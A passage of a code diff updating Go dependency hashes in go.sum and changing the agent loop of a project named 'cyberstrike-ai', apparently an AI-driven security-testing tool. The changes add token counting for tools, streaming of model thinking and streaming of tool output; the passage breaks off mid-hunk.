+github.com/larksuite/oapi-sdk-go/v3 v3.4.22/go.mod h1:ZEplY+kwuIrj/nqw5uSCINNATcH3KdxSN7y+UxYY5fI=
 github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q=
 github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4=
+github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
+github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
+github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
+github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
 github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
 github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
 github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
 github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
+github.com/meguminnnnnnnnn/go-openai v0.1.1 h1:u/IMMgrj/d617Dh/8BKAwlcstD74ynOJzCtVl+y8xAs=
+github.com/meguminnnnnnnnn/go-openai v0.1.1/go.mod h1:qs96ysDmxhE4BZoU45I43zcyfnaYxU3X+aRzLko/htY=
+github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
+github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
+github.com/modelcontextprotocol/go-sdk v1.2.0 h1:Y23co09300CEk8iZ/tMxIX1dVmKZkzoSBZOpJwUnc/s=
+github.com/modelcontextprotocol/go-sdk v1.2.0/go.mod h1:6fM3LCm3yV7pAs8isnKLn07oKtB0MP9LHd3DfAcKw10=
 github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
 github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
 github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
 github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
 github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
-github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ=
-github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4=
+github.com/nikolalohinski/gonja v1.5.3 h1:GsA+EEaZDZPGJ8JtpeGN78jidhOlxeJROpqMT9fTj9c=
+github.com/nikolalohinski/gonja v1.5.3/go.mod h1:RmjwxNiXAEqcq1HeK5SSMmqFJvKOfTfXhkJv6YBtPa4=
+github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/ginkgo v1.8.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
+github.com/pelletier/go-toml/v2 v2.0.9 h1:uH2qQXheeefCCkuBBSLi7jCiSmj3VRh2+Goq2N7Xxu0=
+github.com/pelletier/go-toml/v2 v2.0.9/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc=
+github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
+github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pkoukk/tiktoken-go v0.1.8 h1:85ENo+3FpWgAACBaEUVp+lctuTcYUO7BtmfhlN/QTRo=
 github.com/pkoukk/tiktoken-go v0.1.8/go.mod h1:9NiV+i9mJKGj1rYOT+njbv+ZwA/zJxYdewGl6qVatpg=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/rollbar/rollbar-go v1.0.2/go.mod h1:AcFs5f0I+c71bpHlXNNDbOWJiKwjFDtISeXco0L5PKQ=
+github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
+github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
+github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
+github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f h1:Z2cODYsUxQPofhpYRMQVwWz4yUVpHF+vPi+eUdruUYI=
+github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f/go.mod h1:JqzWyvTuI2X4+9wOHmKSQCYxybB/8j6Ko43qVmXDuZg=
+github.com/smarty/assertions v1.15.0 h1:cR//PqUBUiQRakZWqBiFFQ9wb8emQGDb0HeGdqGByCY=
+github.com/smarty/assertions v1.15.0/go.mod h1:yABtdzeQs6l1brC900WlRNwj6ZR55d7B+E8C6HtKdec=
+github.com/smartystreets/goconvey v1.8.1 h1:qGjIddxOk4grTu9JPOU31tVfq3cNdBlNa5sSznIX1xY=
+github.com/smartystreets/goconvey v1.8.1/go.mod h1:+/u4qLyY6x1jReYOp7GOM2FSt8aP9CzCZL03bI28W60=
 github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
 github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
 github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
+github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
+github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
 github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
 github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
 github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
 github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
-github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
 github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
-github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY=
-github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
+github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
+github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
+github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
+github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
 github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
 github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
 github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU=
 github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
+github.com/uouuou/dingtalk-stream-sdk-go v0.0.0-20250626025113-079132acc406 h1:b72HNsEnmTRn7vhWGOfbWHAkA5RbRCk0Pbc56V2WAuY=
+github.com/uouuou/dingtalk-stream-sdk-go v0.0.0-20250626025113-079132acc406/go.mod h1:ln3IqPYYocZbYvl9TAOrG/cxGR9xcn4pnZRLdCTEGEU=
+github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc=
+github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw=
+github.com/x-cray/logrus-prefixed-formatter v0.5.2 h1:00txxvfBM9muc0jiLIEAkAcIMJzfthRT6usrui8uGmg=
+github.com/x-cray/logrus-prefixed-formatter v0.5.2/go.mod h1:2duySbKsL6M18s5GU7VPsoEPHyzalCE06qoARUCeBBE=
+github.com/yargevad/filepathx v1.0.0 h1:SYcT+N3tYGi+NvazubCNlvgIPbzAk7i7y2dwg3I5FYc=
+github.com/yargevad/filepathx v1.0.0/go.mod h1:BprfX/gpYNJHJfc35GjRRpVcwWXS89gGulUIU5tK3tA=
+github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4=
+github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4=
+github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
 go.uber.org/goleak v1.2.0 h1:xqgm/S+aQvhWFTtR0XK3Jvg7z8kGV8P4X14IzwN3Eqk=
 go.uber.org/goleak v1.2.0/go.mod h1:XJYK+MuIchqpmGmUSAzotztawfKvYLUIgg7guXrwVUo=
+go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU=
+go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc=
 go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
 go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
 go.uber.org/zap v1.26.0 h1:sI7k6L95XOKS281NhVKOFCUNIvv9e0w4BF8N3u+tCRo=
 go.uber.org/zap v1.26.0/go.mod h1:dtElttAiwGvoJ/vj4IwHBS/gXsEu/pZ50mUIRWuG0so=
-golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
-golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k=
-golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
-golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc=
-golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4=
-golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
-golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
-golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/arch v0.11.0 h1:KXV8WWKCXm6tRpLirl2szsO5j/oOODwZf4hATmGVNs4=
+golang.org/x/arch v0.11.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=
+golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
+golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
+golang.org/x/exp v0.0.0-20230713183714-613f0c0eb8a1 h1:MGwJjxBy0HJshjDNfLsYO8xppfqWlA5ZT9OhtUUhTNw=
+golang.org/x/exp v0.0.0-20230713183714-613f0c0eb8a1/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc=
+golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
+golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
+golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
+golang.org/x/oauth2 v0.30.0 h1:dnDm7JmhM45NNpd8FDDeLhK6FwqbOf4MLCM9zb1BOHI=
+golang.org/x/oauth2 v0.30.0/go.mod h1:B++QgG3ZKulg6sRPGD/mqlHQs5rB3Ml9erfeDY7xKlU=
+golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
-golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k=
-golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
-golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
+golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
+golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
+golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
+golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
+golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
+golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo=
+golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
 google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
 google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
+gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
+gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=

internal/agent/agent.go

@@ -3,6 +3,7 @@ package agent
 import (
 	"context"
 	"encoding/json"
+	"errors"
 	"fmt"
 	"net"
 	"net/http"
@@ -14,6 +15,7 @@ import (
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
 	"cyberstrike-ai/internal/openai"
+	"cyberstrike-ai/internal/security"
 	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
@@ -195,6 +197,7 @@ type OpenAIRequest struct {
 	Model    string        `json:"model"`
 	Messages []ChatMessage `json:"messages"`
 	Tools    []Tool        `json:"tools,omitempty"`
+	Stream   bool          `json:"stream,omitempty"`
 }
 
 // OpenAIResponse OpenAI API响应
@@ -528,9 +531,12 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 	var currentReActInput string
 
 	maxIterations := a.maxIterations
+	thinkingStreamSeq := 0
 	for i := 0; i < maxIterations; i++ {
-		// 每轮调用前先尝试压缩，防止历史消息持续膨胀
-		messages = a.applyMemoryCompression(ctx, messages)
+		// 先获取本轮可用工具并统计 tools token，再压缩，以便压缩时预留 tools 占用的空间
+		tools := a.getAvailableTools(roleTools)
+		toolsTokens := a.countToolsTokens(tools)
+		messages = a.applyMemoryCompression(ctx, messages, toolsTokens)
 
 		// 检查是否是最后一次迭代
 		isLastIteration := (i == maxIterations-1)
@@ -562,17 +568,17 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 		default:
 		}
 
-		// 获取可用工具
-		tools := a.getAvailableTools(roleTools)
-
-		// 记录当前上下文的Token用量，展示压缩器运行状态
+		// 记录当前上下文的 Token 用量（messages + tools），展示压缩器运行状态
 		if a.memoryCompressor != nil {
-			totalTokens, systemCount, regularCount := a.memoryCompressor.totalTokensFor(messages)
+			messagesTokens, systemCount, regularCount := a.memoryCompressor.totalTokensFor(messages)
+			totalTokens := messagesTokens + toolsTokens
 			a.logger.Info("memory compressor context stats",
 				zap.Int("iteration", i+1),
 				zap.Int("messagesCount", len(messages)),
 				zap.Int("systemMessages", systemCount),
 				zap.Int("regularMessages", regularCount),
+				zap.Int("messagesTokens", messagesTokens),
+				zap.Int("toolsTokens", toolsTokens),
 				zap.Int("totalTokens", totalTokens),
 				zap.Int("maxTotalTokens", a.memoryCompressor.maxTotalTokens),
 			)
@@ -627,7 +633,28 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 
 		// 调用OpenAI
 		sendProgress("progress", "正在调用AI模型...", nil)
-		response, err := a.callOpenAI(ctx, messages, tools)
+		thinkingStreamSeq++
+		thinkingStreamId := fmt.Sprintf("thinking-stream-%s-%d-%d", conversationID, i+1, thinkingStreamSeq)
+		thinkingStreamStarted := false
+
+		response, err := a.callOpenAIStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
+			if delta == "" {
+				return nil
+			}
+			if !thinkingStreamStarted {
+				thinkingStreamStarted = true
+				sendProgress("thinking_stream_start", " ", map[string]interface{}{
+					"streamId":   thinkingStreamId,
+					"iteration":  i + 1,
+					"toolStream": false,
+				})
+			}
+			sendProgress("thinking_stream_delta", delta, map[string]interface{}{
+				"streamId":  thinkingStreamId,
+				"iteration": i + 1,
+			})
+			return nil
+		})
 		if err != nil {
 			// API调用失败，保存当前的ReAct输入和错误信息作为输出
 			result.LastReActInput = currentReActInput
@@ -679,10 +706,12 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 
 		// 检查是否有工具调用
 		if len(choice.Message.ToolCalls) > 0 {
-			// 如果有思考内容，先发送思考事件
+			// 思考内容：如果本轮启用了思考流式增量（thinking_stream_*），前端会去重；
+			// 同时也需要在该“思考阶段结束”时补一条可落库的 thinking（用于刷新后持久化展示）。
 			if choice.Message.Content != "" {
 				sendProgress("thinking", choice.Message.Content, map[string]interface{}{
 					"iteration": i + 1,
+					"streamId":  thinkingStreamId,
 				})
 			}
 
@@ -714,7 +743,21 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 				})
 
 				// 执行工具
-				execResult, err := a.executeToolViaMCP(ctx, toolCall.Function.Name, toolCall.Function.Arguments)
+				toolCtx := context.WithValue(ctx, security.ToolOutputCallbackCtxKey, security.ToolOutputCallback(func(chunk string) {
+					if strings.TrimSpace(chunk) == "" {
+						return
+					}
+					sendProgress("tool_result_delta", chunk, map[string]interface{}{
+						"toolName":    toolCall.Function.Name,
+						"toolCallId":  toolCall.ID,
+						"index":       idx + 1,
+						"total":       len(choice.Message.ToolCalls),
+						"iteration":   i + 1,
+						// success 在最终 tool_result 事件里会以 success/isError 标记为准
+					})
+				}))
+
+				execResult, err := a.executeToolViaMCP(toolCtx, toolCall.Function.Name, toolCall.Function.Arguments)
 				if err != nil {
 					// 构建详细的错误信息，帮助AI理解问题并做出决策
 					errorMsg := a.formatToolError(toolCall.Function.Name, toolCall.Function.Arguments, err)
@@ -788,17 +831,24 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 					Role:    "user",
 					Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试，请提供详细的下一步执行计划。请直接回复，不要调用工具。",
 				})
-				messages = a.applyMemoryCompression(ctx, messages)
-				// 立即调用OpenAI获取总结
-				summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具，强制AI直接回复
-				if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
-					summaryChoice := summaryResponse.Choices[0]
